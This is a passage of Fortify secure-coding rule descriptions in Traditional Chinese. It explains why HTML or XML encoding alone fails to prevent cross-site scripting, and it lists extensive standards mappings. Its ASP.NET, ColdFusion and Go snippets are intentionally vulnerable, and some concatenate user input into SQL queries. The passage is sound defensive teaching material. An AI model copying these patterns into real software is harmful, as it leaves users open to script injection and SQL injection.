[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.apex.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ASP.NET 程式碼片段會從 HTTP 要求中讀取員工的識別碼,使用 HTML 加以編碼,並將識別碼顯示給使用者。

<script runat="server">
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);
...
</script>


其中,LoginEmployeeID 是定義如下的表單控制項:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
範例 2:以下的 ASP.NET 程式碼片段執行了與 Example 1 相同的功能,只不過是以程式設計方式進行。

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);


如果 Login 只包含標準英數字元,則這些範例中的程式碼都會正確地執行。如果 Login 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL? 真正的危險是攻擊者會建立惡意的 URL,然後使用電子郵件或社交工程技倆來誘騙受害者按下連結。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 3:以下的 ASP.NET 程式碼片段使用員工的識別碼來查詢員工資料庫,並列印出與識別碼相對應的 HTML 編碼名字。

<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);
</script>


其中,EmployeeName 是定義如下的表單控制項:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
範例 4:同樣的,以下 ASP.NET 程式碼片段的功能與之前的 Example 3 相當,不過卻是以程式設計方式來實作所有的表單元素。

protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);


Example 1Example 2 所述,name 值正常運作時,這些程式碼便會正確執行,不然就會完全無法避免攻擊。此外,這些程式碼範例之所以較不危險,是因為 name 值是從資料庫中讀取的,其內容顯然都由應用程式管理。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3Example 4 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 ASP.NET 要求驗證和 WCF)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。如果是 ASP.NET 要求驗證,我們也會針對何時明確停用驗證提供證據。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 應用程式。如果是 Reflected XSS,不可信賴的來源大多為 Web 要求;如果是 Persistent XSS (也可稱為 Stored XSS),來源大多為資料庫查詢結果。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的程式碼片段會從 HTTP 要求中讀取 text 參數,使用 HTML 加以編碼,並將該參數顯示在 Script 標籤之間的警示方塊中。


"<script>alert('<CFOUTPUT>HTMLCodeFormat(#Form.text#)</CFOUTPUT>')</script>";


如果 text 只包含標準英數字元,則這個範例中的程式碼會正確地執行。若 text 具有單引號、小括號及分號,則會結束 alert 文字方塊,並在此後執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料記憶體中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cfml.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。


範例 1:以下 Go 程式碼片段會從 HTTP 要求中讀取使用者名稱 user,並向使用者顯示。

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(user))
}


如果 user 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 user 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Go 程式碼片段會查詢資料庫中具有指定 ID 的員工,然後列印相對應的員工姓名。

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", html.EscapeString(name))
}


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果沒有對所有儲存在資料庫中的資料進行適當的輸入驗證,那麼攻擊者即可在使用者的網頁瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其極其隱蔽,會因為間接的資料儲存方式而難以辨別該威脅,並會提高影響多個使用者的可能性。XSS 弱點會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所示,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由網頁瀏覽器執行時,就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所示,應用程式會將危險資料儲存在資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者執行需要權限許可的操作,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料存放區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
